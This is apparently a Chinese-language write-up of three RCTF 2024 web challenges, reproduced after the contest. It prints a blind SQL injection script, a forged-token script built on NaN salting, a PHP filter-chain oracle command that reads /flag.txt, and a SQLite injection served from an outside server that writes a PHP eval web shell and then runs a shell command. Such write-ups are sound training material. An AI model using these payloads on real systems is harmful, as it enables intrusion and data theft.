2024RCTF web部分 wp
前言
由于赛时没有时间打,赛后复现一下.
本篇文章写得会比较详细(或者是啰嗦,觉得太拖沓可以参考https://su-team.cn/passages/2024-05-27-RCTF/
what_is_love
初步审计代码
在/key1中存在一个sql注入漏洞
app.post("/key1", (req, res) => {
const { key1 } = req.body;
if (key1.length > 52 || !isSafe(key1)) { //长度不能超过52且不能有黑名单
return res.send("love waf");
}
let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`; //执行sql,这里存在sql注入
db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {
if (err) {
res.send("error");
} else if (results.length > 0) {
res.send("success");
} else {
res.send("wrong");
}
});
});
SELECT * FROM key1 WHERE love_key = ‘${key1}’
该语句存在布尔盲注.
用key1 = 0’ || 1# 测试一下,回显success,说明存在布尔盲注。
使用脚本爆出key1.
有字符长度限制,有两种绕过方法
- 需要^和$分别从前从后匹配
- 利用数组绕过,即将参数key1改为key1[]即可
import requests
import urllib
import time
def waff():
flag = ''
while True:
for j in list:
data = {
"key1":"' || love_key REGEXP BINARY '{}$'#".format(j+flag)
}
print(data)
r = requests.post(url, headers=headers, data=data)
if "success" in r.text:
flag = j+flag
print(flag)
break
if j == '.':
print(flag)
return
waff()
跑出前半部分的flag,接下来看/key2
在/key2内我们需要传入一个username和love_time,love_time需要大于10000,输入后会返回一个token,,token中有一个值have_lovers,只有当 username和love_time与userinfo中的相同时才会赋值有true。
在/check可以提交token并且当have_lovers==true时会给我们key2。
关键代码如下
userInfo.username = username;
userInfo.love_time = Number(love_time);
在auth.js中看看它是如何生成token的
const secret = crypto.randomBytes(128);
const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");//对输入的数据进行 SHA-256 哈希处理,并返回十六进制格式的哈希值。
//看看它是怎么生成token的
const createToken = (userinfo) => {
const saltedSecret =
parseInt(Buffer.from(secret).readBigUInt64BE()) + //首先将secret转换成一个64位的巨大整数值(BigUInt64BE),然后将其转换为十进制整数。
parseInt(userinfo.love_time); //将userinfo中的love_time属性转换为整数。
const data = JSON.stringify(userinfo);
return (
Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)
); //前半部分是base64编码,
};
简单来说,就是前半部分是base64,后半部分saltedSecret是由love_time决定的。
尝试伪造token
因为字符串经过Number函数处理之后会变成NaN,然后再经过parseInt函数处理之后saltedSecret就会变为NaN,所以此时saltedSecret的值可控了,就可以用来伪造token了.
参考SU战队的wp
const crypto = require("crypto");
const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");
data="{\"username\":\"lover\",\"love_time\":null,\"have_lovers\":true}"
saltedSecret=NaN
console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))
得到后半部分的flag。
color
进入题目后提示要通过500关,肯定要写脚本来执行。
js反混淆得到密钥然后编写脚本。
这里直接参考SU-team的脚本了
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import requests
import json
def encrypt_data(data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_data = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
return base64.b64encode(encrypted_data).decode('utf-8')
def decrypt_data(encrypted_data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size)
return decrypted_data.decode('utf-8')
def post_data(session, url, data):
try:
response = session.post(url=url, data=data)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"Network error occurred: {e}")
return None
def main():
key = b'88b4dbc541cd57f2d55398e9be3e61ae'
iv = b'41cd57f2d55398e9'
url = "http://124.71.164.28:10088/final/game.php"
session = requests.Session()
for i in range(1, 501):
print(i)
encrypted_action = encrypt_data("4", key, iv)
data1 = {
"action": "3wrg4Ich1RsKFUUPmU0vlw==",
"rangeNum": encrypted_action
}
response_text = post_data(session, url, data1)
if response_text:
parsed_data = json.loads(response_text)
pos = decrypt_data(parsed_data["data"], key, iv)
encrypted_pos = encrypt_data(pos, key, iv)
data2 = {
"action": "s03/Zr+K7nTxLc2aiHJQcg==",
"pos": encrypted_pos
}
response_text = post_data(session, url, data2)
if response_text:
parsed_data = json.loads(response_text)
status = decrypt_data(parsed_data["data"], key, iv)
print(status)
data3 = {
"action": "IMYZakV42qGIPRWdg/WfFg=="
}
response_text = post_data(session, url, data3)
if response_text:
print(response_text)
if __name__ == "__main__":
main()
解密后得到源码secr3tcolor.zip。
源码下边有/final/game.php,审计代码发现有侧信道,关键代码如下
直接尝试一下工具发现不行
这里是因为文件的可控点是在image,而不是文件本身。还要在请求的时候加上action:checkImage 才可以
修改一下脚本php_filter_chains_oracle_exploit-main下的requestor.py
python3 filters_chain_oracle_exploit.py --target http://124.71.164.28:10088/final/game.php --file /flag.txt --parameter 0 --verb POST
就可以正常跑了
Proxy
先简单审计一下代码,代码的功能是实现一个简单的代理服务器。
其中Proxy类实现了发送请求和获取响应内容的功能,使用CURL发送请求,并将响应内容存储在$body属性中。
$_SERVER[‘SERVER_NAME’].‘:’.$_SERVER[‘SERVER_PORT’];可被伪造,导致我们可以控制其返回内容。
$_SERVER[‘SERVER_NAME’]是当前服务器主机名或IP地址,用于标识当前正在执行脚本的服务器。通常情况下,它是从 HTTP 请求的 Host 头中获取的。
$_SERVER[‘SERVER_PORT’] 是当前运行脚本的服务器端口号。当在浏览器中访问一个网站时,默认的 HTTP 端口号是 80,HTTPS 端口号是 443。
注入点在$ProxyObj->body(其他地方也可以注入,但是会因为后面的sql语句执行失败,导致无法写入文件)
在vps上面起一个php,里面是注入的信息
<?php
echo "a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_GET[1]);?>');--";
?>
修改HOST为你的公网IP然后发送出去
访问/shell.php?1=system(‘cat flag.php’); 即可
总结
看了别人的wp学到很多,还是太菜了…
参考链接:https://su-team.cn/passages/2024-05-27-RCTF/